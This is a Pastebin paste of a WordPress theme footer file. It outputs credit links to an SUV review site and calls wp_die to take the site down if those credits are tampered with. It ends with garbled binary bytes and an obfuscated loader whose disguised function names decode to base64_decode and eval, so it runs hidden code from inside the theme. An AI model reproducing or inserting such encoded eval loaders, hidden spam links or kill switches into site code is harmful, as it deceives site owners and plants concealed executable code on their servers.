Advertisement
Guest User

Untitled

a guest
Apr 15th, 2012
213
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.91 KB | None | 0 0
  1. ?><?php
  2.  
  3. $padd_guid = '';
  4.  
  5. function padd_theme_credits() {
  6.     global $padd_guid;
  7.     $credits = 'Designed by <a target="_blank" title="Best SUV" href="http://suv.reviewitonline.net/">Best SUV</a> in cooperation with <a target="_blank" title="Audi SUV" href="http://suv.reviewitonline.net/audi-suv/">Audi SUV</a>, <a target="_blank" title="Infiniti SUV" href="http://suv.reviewitonline.net/infiniti-suv/">Infiniti SUV</a>, and <a target="_blank" title="Lexus SUV" href="http://suv.reviewitonline.net/lexus-suv/">Lexus SUV</a>';
  8.     $padd_guid = 'cee36005-0e79-4dc9-8367-80cfb1538bc6';
  9.     $menu = wp_nav_menu(array(
  10.         'echo' => false,
  11.         'theme_location' => 'footer',
  12.         'container' => false,
  13.         'items_wrap' => '%3$s',
  14.         'walker' => new Padd_Theme_Walker_Inline_Menu(),
  15.     ));
  16.     $menu = substr($menu, 0, strlen($menu) - strlen('<span class="pipe"> | </span>'));
  17.     echo '<p class="menu">', $menu, '<br />';
  18.      echo '<a href="http://www.paddsolutions.com/" title="Free WordPress themes" target="_blank">Free WordPress themes</a> by Padd Solutions.</p>';
  19.     echo '<p class="annotation">', sprintf(__('Copyright © %1$s. %2$s. All rights reserved.', PADD_THEME_SLUG), date('Y'), get_bloginfo('name')), ' <br />';
  20.     echo $credits,  '</p>';
  21.     echo '<div class="clear"></div>';
  22. }
  23.  
  24. function padd_theme_prelude_begin() {
  25.     ob_start();
  26. }
  27. add_action('wp_head', 'padd_theme_prelude_begin');
  28.  
  29. function padd_theme_prelude_end() {
  30.     $contents = ob_get_contents();
  31.     ob_get_clean();
  32.     global $padd_guid;
  33.     if (!empty($padd_guid) && (function_exists('padd_theme_credits'))) {
  34.         if ($padd_guid === 'cee36005-0e79-4dc9-8367-80cfb1538bc6') {
  35.             echo $contents;
  36.         } else {
  37.             wp_die('Something wrong.');
  38.         }
  39.     } else {
  40.         wp_die('Something wrong.');
  41.     }
  42. }
  43. add_action('wp_footer', 'padd_theme_prelude_end');z��m���^r�^$_X=b2s61i_d6c3d6($_X);$_X=strtr($_X,'aouie123456','23456aouie1');$_R=6r6g_r6pl2c6('__FILE__',"'".$_F."'",$_X);6v2l($_R);$_R=0;$_X=0;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement